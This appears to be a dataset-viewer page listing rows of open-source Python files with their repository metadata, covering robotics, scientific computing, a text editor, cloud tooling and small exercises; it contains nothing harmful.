] | 16 | 2016-01-26T19:13:29.000Z | 2018-11-25T21:20:51.000Z | home/Markus/RobynStartup.py | hirwaHenryChristian/pyrobotlab | 2debb381fc2db4be1e7ea6e5252a50ae0de6f4a9 | [
"Apache-2.0"
] | 151 | 2015-01-03T18:55:54.000Z | 2022-03-04T07:04:23.000Z | # File : Robyn Inmoov uppstart
import random
from org.myrobotlab.framework import MRLListener
leftPort = "COM8"
rightPort = "COM6"
i01 = Runtime.createAndStart("i01", "InMoov")
i01.mouth = Runtime.createAndStart("i01.mouth","NaturalReaderSpeech")
i01.startAll(leftPort, rightPort)
torso = i01.startTorso("COM8")
i0... | 26.293388 | 150 | 0.611347 |
import random
from org.myrobotlab.framework import MRLListener
leftPort = "COM8"
rightPort = "COM6"
i01 = Runtime.createAndStart("i01", "InMoov")
i01.mouth = Runtime.createAndStart("i01.mouth","NaturalReaderSpeech")
i01.startAll(leftPort, rightPort)
torso = i01.startTorso("COM8")
i01.torso.topStom.detach("i01.lef... | false | true |
f7766e1b18ddc32bba5b354c717db2ca782f6fe5 | 2,430 | py | Python | logmapperui/api/base.py | abaena78/logmapper-ui | a1aa13809ceb50a1774bf471ac9c6744cbe28293 | [
"MIT"
] | null | null | null | logmapperui/api/base.py | abaena78/logmapper-ui | a1aa13809ceb50a1774bf471ac9c6744cbe28293 | [
"MIT"
] | null | null | null | logmapperui/api/base.py | abaena78/logmapper-ui | a1aa13809ceb50a1774bf471ac9c6744cbe28293 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Sat Feb 24 14:35:22 2018
@author: abaena
"""
class LogMapperApi:
def __init__(self):
"""
***********************************************************************
***********************************************************************
... | 27.613636 | 79 | 0.154321 |
class LogMapperApi:
def __init__(self):
pass
def findHosts(self):
pass
def getReaders(self):
pass
def getNetworkGraphData(self, start, end):
pass
def getPerformanceData(self, start, end):
pass
def getHostData(sel... | true | true |
f7766e34703acee2ed45c8a59840089e1f8cf787 | 834 | py | Python | userinfo.py | kenmutuma001/Password-Locker | 5fb96851d1e52ae5b339ec40e696c045271ca33e | [
"Unlicense"
] | null | null | null | userinfo.py | kenmutuma001/Password-Locker | 5fb96851d1e52ae5b339ec40e696c045271ca33e | [
"Unlicense"
] | null | null | null | userinfo.py | kenmutuma001/Password-Locker | 5fb96851d1e52ae5b339ec40e696c045271ca33e | [
"Unlicense"
] | null | null | null | class Userinfo:
'''
class generates the users info.That is the username and password.
'''
userinfo_list = []
def save_userinfo(self):
'''
This method saves userinfo into the userinfo_list
'''
Userinfo.userinfo_list.append(self)
def delete_userinfo(self):
'''
T... | 18.954545 | 68 | 0.621103 | class Userinfo:
userinfo_list = []
def save_userinfo(self):
Userinfo.userinfo_list.append(self)
def delete_userinfo(self):
Userinfo.userinfo_list.remove(self)
@classmethod
def find_userinfo(cls, string):
for userinfo in cls.userinfo_list:
if userinfo.username == string... | true | true |
f7767166e78e9d85221c7adf53dd201a02e63d46 | 983 | py | Python | Helpers/Servers.py | jeui123/pyrelay | 43203343217c784183342dead933e0dc88c161d0 | [
"MIT"
] | 26 | 2020-07-24T05:47:02.000Z | 2022-03-31T16:03:13.000Z | Helpers/Servers.py | jeui123/pyrelay | 43203343217c784183342dead933e0dc88c161d0 | [
"MIT"
] | 17 | 2020-07-27T08:11:19.000Z | 2022-03-29T05:26:16.000Z | Helpers/Servers.py | jeui123/pyrelay | 43203343217c784183342dead933e0dc88c161d0 | [
"MIT"
] | 16 | 2021-01-20T14:30:37.000Z | 2022-03-18T05:31:51.000Z | import urllib.parse
import Constants.ApiPoints as ApiPoints
def getXML(accessToken, proxies={}):
import requests
return requests.post(ApiPoints.SERVERS, data={"accessToken": accessToken,
"game_net": "Unity", "play_platform": "Unity", "game_net_user_id": "... | 35.107143 | 176 | 0.630722 | import urllib.parse
import Constants.ApiPoints as ApiPoints
def getXML(accessToken, proxies={}):
import requests
return requests.post(ApiPoints.SERVERS, data={"accessToken": accessToken,
"game_net": "Unity", "play_platform": "Unity", "game_net_user_id": "... | true | true |
f776724b8993d8b15d71fe4812fa91dba6447a27 | 17,496 | py | Python | thonny/rst_utils.py | yatharthmahajan/thonny | e17c711cb6638f99c9c1ba324c62182e514fb960 | [
"MIT"
] | 1 | 2021-10-30T16:56:40.000Z | 2021-10-30T16:56:40.000Z | thonny/rst_utils.py | yatharthmahajan/thonny | e17c711cb6638f99c9c1ba324c62182e514fb960 | [
"MIT"
] | null | null | null | thonny/rst_utils.py | yatharthmahajan/thonny | e17c711cb6638f99c9c1ba324c62182e514fb960 | [
"MIT"
] | null | null | null | from logging import getLogger
import tkinter as tk
import traceback
from thonny import get_workbench, ui_utils
from thonny.codeview import get_syntax_options_for_tag
from thonny.tktextext import TweakableText
from thonny.ui_utils import get_hyperlink_cursor
logger = getLogger(__name__)
class RstText(TweakableText):... | 35.706122 | 100 | 0.536065 | from logging import getLogger
import tkinter as tk
import traceback
from thonny import get_workbench, ui_utils
from thonny.codeview import get_syntax_options_for_tag
from thonny.tktextext import TweakableText
from thonny.ui_utils import get_hyperlink_cursor
logger = getLogger(__name__)
class RstText(TweakableText):... | true | true |
f77672628db924f63b4cdabaf2b3971e58e8898f | 999 | py | Python | examples/delete_bucket_tags.py | MuslimBeibytuly/minio-py | 483f9f33a963dcd8f56d7b8349dea6e31d5223f0 | [
"Apache-2.0"
] | null | null | null | examples/delete_bucket_tags.py | MuslimBeibytuly/minio-py | 483f9f33a963dcd8f56d7b8349dea6e31d5223f0 | [
"Apache-2.0"
] | null | null | null | examples/delete_bucket_tags.py | MuslimBeibytuly/minio-py | 483f9f33a963dcd8f56d7b8349dea6e31d5223f0 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# MinIO Python Library for Amazon S3 Compatible Cloud Storage.
# Copyright (C) 2020 MinIO, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apac... | 34.448276 | 74 | 0.756757 |
from minio import Minio
client = Minio(
"play.min.io",
access_key="Q3AM3UQ867SPQQA43P2F",
secret_key="zuf+tfteSlswRu7BJ86wekitnifILbZam1KYY3TG",
)
client.delete_bucket_tags("my-bucketname")
| true | true |
f77672db0a73e671fc04e1425d1a1bc6aa15c199 | 778 | py | Python | xain/benchmark/aggregation/results_test.py | danieljanes/ox-msc-diss-code-freeze | 20c6881cabdf1e3ed7a9ddb40bbdcc7a7fd22f78 | [
"Apache-2.0"
] | 1 | 2020-05-30T20:34:19.000Z | 2020-05-30T20:34:19.000Z | xain/benchmark/aggregation/results_test.py | danieljanes/ox-msc-diss-code-freeze | 20c6881cabdf1e3ed7a9ddb40bbdcc7a7fd22f78 | [
"Apache-2.0"
] | null | null | null | xain/benchmark/aggregation/results_test.py | danieljanes/ox-msc-diss-code-freeze | 20c6881cabdf1e3ed7a9ddb40bbdcc7a7fd22f78 | [
"Apache-2.0"
] | null | null | null | from typing import List
from .results import TaskResult
def test_get_learning_rates_unitary(unitary_results_json_fname):
# Prepare
result = TaskResult(unitary_results_json_fname)
# Execute
learning_rates = result.get_learning_rates()
# Assert
assert learning_rates is None
def test_get_lea... | 23.575758 | 68 | 0.755784 | from typing import List
from .results import TaskResult
def test_get_learning_rates_unitary(unitary_results_json_fname):
result = TaskResult(unitary_results_json_fname)
learning_rates = result.get_learning_rates()
assert learning_rates is None
def test_get_learning_rates_federated(federat... | true | true |
f776734cc3bea3d4862a5aca94cfb583d8367f82 | 974 | py | Python | playground/other/test_ray_dataloader.py | yf225/alpa | a7b5f061537e260875c621a82e14265b1df64c5f | [
"Apache-2.0"
] | 114 | 2022-03-02T20:38:16.000Z | 2022-03-31T20:41:50.000Z | playground/other/test_ray_dataloader.py | yf225/alpa | a7b5f061537e260875c621a82e14265b1df64c5f | [
"Apache-2.0"
] | 6 | 2022-03-09T22:04:50.000Z | 2022-03-30T17:53:15.000Z | playground/other/test_ray_dataloader.py | yf225/alpa | a7b5f061537e260875c621a82e14265b1df64c5f | [
"Apache-2.0"
] | 5 | 2022-03-05T12:04:31.000Z | 2022-03-31T03:55:42.000Z | import ray
import jax
import input_pipeline
@ray.remote
class Worker:
def __init__(self):
self.generator = None
def register_generator(self, func):
self.generator = iter(func())
def get_next(self):
return next(self.generator)
def make_generator():
import tensorflow as tf
... | 21.173913 | 72 | 0.663244 | import ray
import jax
import input_pipeline
@ray.remote
class Worker:
def __init__(self):
self.generator = None
def register_generator(self, func):
self.generator = iter(func())
def get_next(self):
return next(self.generator)
def make_generator():
import tensorflow as tf
... | true | true |
f77673d8294ee73f37c95b3da229adf8c6d22667 | 2,543 | py | Python | gigrnd.py | choishingwan/PRScsx | f7941665c2d86754dbc94a25f2d6d19aea23be32 | [
"MIT"
] | 1 | 2021-03-01T18:01:00.000Z | 2021-03-01T18:01:00.000Z | gigrnd.py | choishingwan/PRScsx | f7941665c2d86754dbc94a25f2d6d19aea23be32 | [
"MIT"
] | null | null | null | gigrnd.py | choishingwan/PRScsx | f7941665c2d86754dbc94a25f2d6d19aea23be32 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
"""
Random variate generator for the generalized inverse Gaussian distribution.
Reference: L Devroye. Random variate generation for the generalized inverse Gaussian distribution.
Statistics and Computing, 24(2):239-246, 2014.
"""
import math
from scipy import random
def psi(x, alp... | 22.504425 | 98 | 0.507275 |
import math
from scipy import random
def psi(x, alpha, lam):
f = -alpha*(math.cosh(x)-1)-lam*(math.exp(x)-x-1)
return f
def dpsi(x, alpha, lam):
f = -alpha*math.sinh(x)-lam*(math.exp(x)-1)
return f
def g(x, sd, td, f1, f2):
if (x >= -sd) and (x <= td):
f = 1
elif x > td:
... | true | true |
f776744ff0d3e1ccc84a572436f577763c3a38e1 | 16,932 | py | Python | qsc/qsc.py | landreman/pyQSC | 75f34d62c24eb94f481632ee0e1bf260d7581f2a | [
"BSD-2-Clause"
] | 2 | 2020-12-12T03:00:31.000Z | 2022-03-25T21:47:16.000Z | qsc/qsc.py | landreman/pyQSC | 75f34d62c24eb94f481632ee0e1bf260d7581f2a | [
"BSD-2-Clause"
] | 7 | 2021-07-23T15:12:49.000Z | 2022-01-18T15:32:32.000Z | qsc/qsc.py | landreman/pyQSC | 75f34d62c24eb94f481632ee0e1bf260d7581f2a | [
"BSD-2-Clause"
] | 2 | 2021-02-25T16:17:29.000Z | 2022-03-12T18:04:41.000Z | """
This module contains the top-level routines for the quasisymmetric
stellarator construction.
"""
import logging
import numpy as np
from scipy.io import netcdf
#from numba import jit
#logging.basicConfig(level=logging.DEBUG)
logger = logging.getLogger(__name__)
class Qsc():
"""
This is the main class for ... | 45.272727 | 285 | 0.556875 |
import logging
import numpy as np
from scipy.io import netcdf
logger = logging.getLogger(__name__)
class Qsc():
from .init_axis import init_axis, convert_to_spline
from .calculate_r1 import _residual, _jacobian, solve_sigma_equation, \
_determine_helicity, r1_diagnostics
from .grad_B_ten... | true | true |
f776745b4d0e0834dd14f818bbff1ea060c05dd2 | 2,879 | py | Python | obniz/obniz/__init__.py | obniz/obniz-python-sdk | da72848ac2a3eeeef238847d86a3f8cbd90d4ce3 | [
"MIT"
] | 11 | 2019-03-22T12:02:11.000Z | 2021-01-21T04:57:18.000Z | obniz/obniz/__init__.py | obniz/obniz-python-sdk | da72848ac2a3eeeef238847d86a3f8cbd90d4ce3 | [
"MIT"
] | 5 | 2019-03-02T08:28:25.000Z | 2021-02-02T22:06:37.000Z | obniz/obniz/__init__.py | obniz/obniz-python-sdk | da72848ac2a3eeeef238847d86a3f8cbd90d4ce3 | [
"MIT"
] | 3 | 2019-07-20T06:55:09.000Z | 2019-12-04T05:05:00.000Z | import asyncio
from .obniz_uis import ObnizUIs
name = "obniz"
class Obniz(ObnizUIs):
def __init__(self, id, options=None):
super().__init__(id, options)
self.looper = None
self.ondebug = None
def repeat(self, callback, interval=100):
if self.looper:
self.looper ... | 28.50495 | 100 | 0.565474 | import asyncio
from .obniz_uis import ObnizUIs
name = "obniz"
class Obniz(ObnizUIs):
def __init__(self, id, options=None):
super().__init__(id, options)
self.looper = None
self.ondebug = None
def repeat(self, callback, interval=100):
if self.looper:
self.looper ... | true | true |
f77674b4f13e3182f055b1ef9f6113da6d3f6c8c | 84 | py | Python | gfat/gfat.py | paurosello/gfat | 23bcb7bf328be8bd0c1aa99ff869d8e539563eba | [
"MIT"
] | null | null | null | gfat/gfat.py | paurosello/gfat | 23bcb7bf328be8bd0c1aa99ff869d8e539563eba | [
"MIT"
] | 2 | 2021-03-25T21:40:00.000Z | 2021-11-15T17:46:49.000Z | gfat/gfat.py | paurosello/gfat | 23bcb7bf328be8bd0c1aa99ff869d8e539563eba | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""Main module."""
from models.one_eight_two import model
| 14 | 38 | 0.642857 |
from models.one_eight_two import model
| true | true |
f77677434df212bcdac3d1e614ce1ade61007fbb | 4,738 | py | Python | tests/cloud/test_06_sec_command.py | brianfunk3/cloudmesh-cloud | 1fa03625ddbc97d631440349f6eaac8cd02a5716 | [
"Apache-2.0"
] | null | null | null | tests/cloud/test_06_sec_command.py | brianfunk3/cloudmesh-cloud | 1fa03625ddbc97d631440349f6eaac8cd02a5716 | [
"Apache-2.0"
] | null | null | null | tests/cloud/test_06_sec_command.py | brianfunk3/cloudmesh-cloud | 1fa03625ddbc97d631440349f6eaac8cd02a5716 | [
"Apache-2.0"
] | null | null | null | ###############################################################
# pytest -v --capture=no tests/1_local/test_04_sec_command.py
# pytest -v tests/1_local/test_04_sec_command.py
###############################################################
#
# The following commands are tested on the local database
#
# cms sec clear
# ... | 24.936842 | 75 | 0.584635 |
import pytest
from sys import platform
from cloudmesh.common.util import HEADING
from cloudmesh.common.variables import Variables
from cloudmesh.common.Benchmark import Benchmark
from cloudmesh.common3.Shell import Shell
from cloudmesh.compute.vm.Provider import Provider
from cloudmesh.mongo.CmDatabase import CmData... | true | true |
f77677f64f6b71c7664b68a52850f04e465b7023 | 14,452 | py | Python | modules/templates/DRKCM/menus.py | rajendar-reddy/Sahana- | 6be62bf4baf1e4d56ef30db05fc46ee290902959 | [
"MIT"
] | null | null | null | modules/templates/DRKCM/menus.py | rajendar-reddy/Sahana- | 6be62bf4baf1e4d56ef30db05fc46ee290902959 | [
"MIT"
] | null | null | null | modules/templates/DRKCM/menus.py | rajendar-reddy/Sahana- | 6be62bf4baf1e4d56ef30db05fc46ee290902959 | [
"MIT"
] | 1 | 2019-12-16T15:14:46.000Z | 2019-12-16T15:14:46.000Z | # -*- coding: utf-8 -*-
from gluon import current
from s3 import *
from s3layouts import *
try:
from .layouts import *
except ImportError:
pass
import s3menus as default
# =============================================================================
class S3MainMenu(default.S3MainMenu):
""" Custom Applica... | 38.232804 | 87 | 0.379532 |
from gluon import current
from s3 import *
from s3layouts import *
try:
from .layouts import *
except ImportError:
pass
import s3menus as default
class S3MainMenu(default.S3MainMenu):
@classmethod
def menu(cls):
main_menu = MM()(
cls.menu_modules(),
)
... | true | true |
f77678b397426579bca3d7982b8a4b75471aa78b | 486 | py | Python | var/spack/repos/builtin/packages/exuberant-ctags/package.py | HaochengLIU/spack | 26e51ff1705a4d6234e2a0cf734f93f7f95df5cb | [
"ECL-2.0",
"Apache-2.0",
"MIT"
] | 2 | 2018-11-27T03:39:44.000Z | 2021-09-06T15:50:35.000Z | var/spack/repos/builtin/packages/exuberant-ctags/package.py | HaochengLIU/spack | 26e51ff1705a4d6234e2a0cf734f93f7f95df5cb | [
"ECL-2.0",
"Apache-2.0",
"MIT"
] | 1 | 2019-01-11T20:11:52.000Z | 2019-01-11T20:11:52.000Z | var/spack/repos/builtin/packages/exuberant-ctags/package.py | HaochengLIU/spack | 26e51ff1705a4d6234e2a0cf734f93f7f95df5cb | [
"ECL-2.0",
"Apache-2.0",
"MIT"
] | 1 | 2020-10-14T14:20:17.000Z | 2020-10-14T14:20:17.000Z | # Copyright 2013-2018 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
from spack import *
class ExuberantCtags(AutotoolsPackage):
"""The canonical ctags generator"""
homepage = "ctag... | 32.4 | 90 | 0.738683 |
from spack import *
class ExuberantCtags(AutotoolsPackage):
homepage = "ctags.sourceforge.net"
url = "http://downloads.sourceforge.net/project/ctags/ctags/5.8/ctags-5.8.tar.gz"
version('5.8', 'c00f82ecdcc357434731913e5b48630d')
| true | true |
f77678ca00f058dc9b208949c6a47c839333efd5 | 3,220 | py | Python | box_management/boxes/migrations/0001_initial.py | waveFrontSet/box_management | 9bc3c8e610647715de759416b1563f28cbc3ec71 | [
"MIT"
] | null | null | null | box_management/boxes/migrations/0001_initial.py | waveFrontSet/box_management | 9bc3c8e610647715de759416b1563f28cbc3ec71 | [
"MIT"
] | null | null | null | box_management/boxes/migrations/0001_initial.py | waveFrontSet/box_management | 9bc3c8e610647715de759416b1563f28cbc3ec71 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.9.7 on 2016-07-24 14:07
from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
import model_utils.fields
class Migration(migrations.Migration):
... | 44.722222 | 147 | 0.61087 | from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
import model_utils.fields
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_depen... | true | true |
f776793fe6b9e08d35ac29266b096d4d93df848c | 2,421 | py | Python | ipython/ipython_kernel_config.py | dycw/dotfiles2 | 9e23c4989e9813080da3658a8f98dbb1e03776f2 | [
"MIT"
] | null | null | null | ipython/ipython_kernel_config.py | dycw/dotfiles2 | 9e23c4989e9813080da3658a8f98dbb1e03776f2 | [
"MIT"
] | null | null | null | ipython/ipython_kernel_config.py | dycw/dotfiles2 | 9e23c4989e9813080da3658a8f98dbb1e03776f2 | [
"MIT"
] | null | null | null | # Configuration file for ipython-kernel.
# ------------------------------------------------------------------------------
# ConnectionFileMixin(LoggingConfigurable) configuration
# ------------------------------------------------------------------------------
# ----------------------------------------------------------... | 67.25 | 80 | 0.22594 | true | true | |
f7767967c699a36d7b25a0d24189912ad63e7096 | 1,859 | py | Python | topi/tests/python_cpp/test_topi_reorg.py | TharinduRusira/tvm | e77205532a4fc7e3de8f12aed1b4129813b43950 | [
"Apache-2.0"
] | 4 | 2018-09-11T05:50:03.000Z | 2022-01-23T03:43:22.000Z | topi/tests/python_cpp/test_topi_reorg.py | ganzhiliang/tvm | b076cad542524cb3744149d953c341b5815f6474 | [
"Apache-2.0"
] | 3 | 2018-09-14T05:27:13.000Z | 2021-01-06T17:27:58.000Z | topi/tests/python_cpp/test_topi_reorg.py | ganzhiliang/tvm | b076cad542524cb3744149d953c341b5815f6474 | [
"Apache-2.0"
] | 4 | 2018-09-10T23:43:51.000Z | 2019-06-14T16:27:23.000Z | """Test code for reorg"""
import logging
import numpy as np
import tvm
import topi
import topi.testing
from topi.util import get_const_tuple
def verify_reorg(batch, in_size, in_channel, stride):
'''Verify reorg operator by comparing outputs from tvm and numpy implementation'''
in_height = in_width = in_size
... | 35.075472 | 100 | 0.646046 | import logging
import numpy as np
import tvm
import topi
import topi.testing
from topi.util import get_const_tuple
def verify_reorg(batch, in_size, in_channel, stride):
in_height = in_width = in_size
A = tvm.placeholder((batch, in_channel, in_height, in_width), name='A')
B = topi.cpp.vision.reorg(A, strid... | true | true |
f776799bef191cef6c3d8673c01a4eab188c0679 | 3,083 | py | Python | loss.py | dbseorms16/drnxgaze | c7b84189c263456c648829bc399a5edb2ec17bb8 | [
"MIT"
] | 1 | 2021-07-06T02:01:54.000Z | 2021-07-06T02:01:54.000Z | loss.py | dbseorms16/drnxgaze | c7b84189c263456c648829bc399a5edb2ec17bb8 | [
"MIT"
] | null | null | null | loss.py | dbseorms16/drnxgaze | c7b84189c263456c648829bc399a5edb2ec17bb8 | [
"MIT"
] | null | null | null | import os
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as nnf
from option import args
class Loss(nn.modules.loss._Loss):
def __init__(self, args, ckp):
super(Loss, self).__init__()
self.... | 30.83 | 118 | 0.513137 | import os
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as nnf
from option import args
class Loss(nn.modules.loss._Loss):
def __init__(self, args, ckp):
super(Loss, self).__init__()
self.... | true | true |
f7767b98d6bee1661deb8d92e6a831d2d6d039e6 | 1,856 | py | Python | setup.py | jayvdb/django-admintool-command | aee5f8f003b5956e3a3e7df4957c5b839ffd8341 | [
"MIT"
] | null | null | null | setup.py | jayvdb/django-admintool-command | aee5f8f003b5956e3a3e7df4957c5b839ffd8341 | [
"MIT"
] | null | null | null | setup.py | jayvdb/django-admintool-command | aee5f8f003b5956e3a3e7df4957c5b839ffd8341 | [
"MIT"
] | null | null | null | # -*- encoding: utf-8 -*-
"""
Python setup file for the admintool_command app.
In order to register your app at pypi.python.org, create an account at
pypi.python.org and login, then register your new app like so:
python setup.py register
If your name is still free, you can now make your first release but first y... | 28.121212 | 79 | 0.731142 | import os
from setuptools import setup, find_packages
import admintool_command as app
dev_requires = [
'flake8',
]
install_requires = open('requirements.txt').read().splitlines()
def read(fname):
try:
return open(os.path.join(os.path.dirname(__file__), fname)).read()
except IOError:
ret... | true | true |
f7767bfc70f0ea6866c5be01e03092f2efc47372 | 401 | py | Python | django_getin/asgi.py | confuzeus/django-getin | 1954a546990e5e163d4dc040e4b9a6f705a7777f | [
"MIT"
] | null | null | null | django_getin/asgi.py | confuzeus/django-getin | 1954a546990e5e163d4dc040e4b9a6f705a7777f | [
"MIT"
] | null | null | null | django_getin/asgi.py | confuzeus/django-getin | 1954a546990e5e163d4dc040e4b9a6f705a7777f | [
"MIT"
] | null | null | null | """
ASGI config for django_getin project.
It exposes the ASGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/4.0/howto/deployment/asgi/
"""
import os
from django.core.asgi import get_asgi_application
os.environ.setdefault('DJANGO_... | 23.588235 | 78 | 0.790524 |
import os
from django.core.asgi import get_asgi_application
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'django_getin.settings')
application = get_asgi_application()
| true | true |
f7767c4fc38efa0e0f1d2a0f57737a6a226a6fed | 556 | py | Python | sols/944.py | Paul11100/LeetCode | 9896c579dff1812c0c76964db8d60603ee715e35 | [
"MIT"
] | null | null | null | sols/944.py | Paul11100/LeetCode | 9896c579dff1812c0c76964db8d60603ee715e35 | [
"MIT"
] | null | null | null | sols/944.py | Paul11100/LeetCode | 9896c579dff1812c0c76964db8d60603ee715e35 | [
"MIT"
] | null | null | null | class Solution:
# Delete row func using indexes, O(n*m) time, O(1) space
def minDeletionSize(self, strs: List[str]) -> int:
n, m = len(strs), len(strs[0])
def delete(j):
for i in range(n-1):
if strs[i][j] > strs[i+1][j]:
return True
re... | 32.705882 | 79 | 0.534173 | class Solution:
def minDeletionSize(self, strs: List[str]) -> int:
n, m = len(strs), len(strs[0])
def delete(j):
for i in range(n-1):
if strs[i][j] > strs[i+1][j]:
return True
return False
return sum(delete(j) for j in range(m... | true | true |
f7767c733f730634fcbe2579cb72304a38834984 | 879 | py | Python | emailchecker.py | X0rD3v1L/python-algorithms | 3192870b6349a180d603a589125e7f363a5a359a | [
"MIT"
] | 1 | 2020-10-16T18:23:00.000Z | 2020-10-16T18:23:00.000Z | emailchecker.py | X0rD3v1L/python-algorithms | 3192870b6349a180d603a589125e7f363a5a359a | [
"MIT"
] | 1 | 2020-10-16T17:39:35.000Z | 2020-10-16T17:39:35.000Z | emailchecker.py | X0rD3v1L/python-algorithms | 3192870b6349a180d603a589125e7f363a5a359a | [
"MIT"
] | 1 | 2020-10-16T17:16:27.000Z | 2020-10-16T17:16:27.000Z | # Python program to validate an Email
# import re module
# re module provides support
# for regular expressions
import re
# Make a regular expression
# for validating an Email
regex = '^[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3}$'
# for custom mails use: '^[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w+$'
# ... | 21.975 | 65 | 0.569966 |
import re
regex = '^[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3}$'
def check(email):
if(re.search(regex,email)):
print("Valid Email")
else:
print("Invalid Email")
if __name__ == '__main__' :
email = "dude_tanmay326@gmail.com... | true | true |
f7767c7c77793a6e8101543ce4e5940cfd48edba | 95 | py | Python | videos/082_avoiding_import_loops_in_python/example2-typing/fix2/main.py | matthewstidham/VideosSampleCode | 122edfbf5a805930bb031dad584e79a6c487ba7a | [
"MIT"
] | 1 | 2022-02-16T05:24:12.000Z | 2022-02-16T05:24:12.000Z | videos/082_avoiding_import_loops_in_python/example2-typing/fix2/main.py | bandirevanth/VideosSampleCode | 9eec145ac6fffb11d2a51356fb65d74ecd721d50 | [
"MIT"
] | null | null | null | videos/082_avoiding_import_loops_in_python/example2-typing/fix2/main.py | bandirevanth/VideosSampleCode | 9eec145ac6fffb11d2a51356fb65d74ecd721d50 | [
"MIT"
] | null | null | null | from module_a import func_a
def main():
func_a()
if __name__ == '__main__':
main()
| 9.5 | 27 | 0.621053 | from module_a import func_a
def main():
func_a()
if __name__ == '__main__':
main()
| true | true |
f7767cb2a11ad26e825d25c2b712b2467c7eb106 | 336 | py | Python | Exercicios/maximo_3.py | eduardodarocha/Introducao_Ciencia_da_Computacao_com_Python_Parte_1_Coursera | fd2cb2eb58569c9912852e8ee4898a7e38169688 | [
"MIT"
] | 1 | 2020-08-27T21:41:51.000Z | 2020-08-27T21:41:51.000Z | Exercicios/maximo_3.py | eduardodarocha/Introducao_Ciencia_da_Computacao_com_Python_Parte_1_Coursera | fd2cb2eb58569c9912852e8ee4898a7e38169688 | [
"MIT"
] | null | null | null | Exercicios/maximo_3.py | eduardodarocha/Introducao_Ciencia_da_Computacao_com_Python_Parte_1_Coursera | fd2cb2eb58569c9912852e8ee4898a7e38169688 | [
"MIT"
] | null | null | null | '''Reescreva a função 'maximo' do outro exercício, que devolve o maior
valor dentre dois inteiros recebidos, para que ela passe a receber 3
valores inteiros como parâmetros e devolva o maior dentre eles.'''
def maximo(x, y, z):
maior = x
if y >= maior:
maior = y
if z >= maior:
maior = z
... | 28 | 71 | 0.654762 |
def maximo(x, y, z):
maior = x
if y >= maior:
maior = y
if z >= maior:
maior = z
return maior
| true | true |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.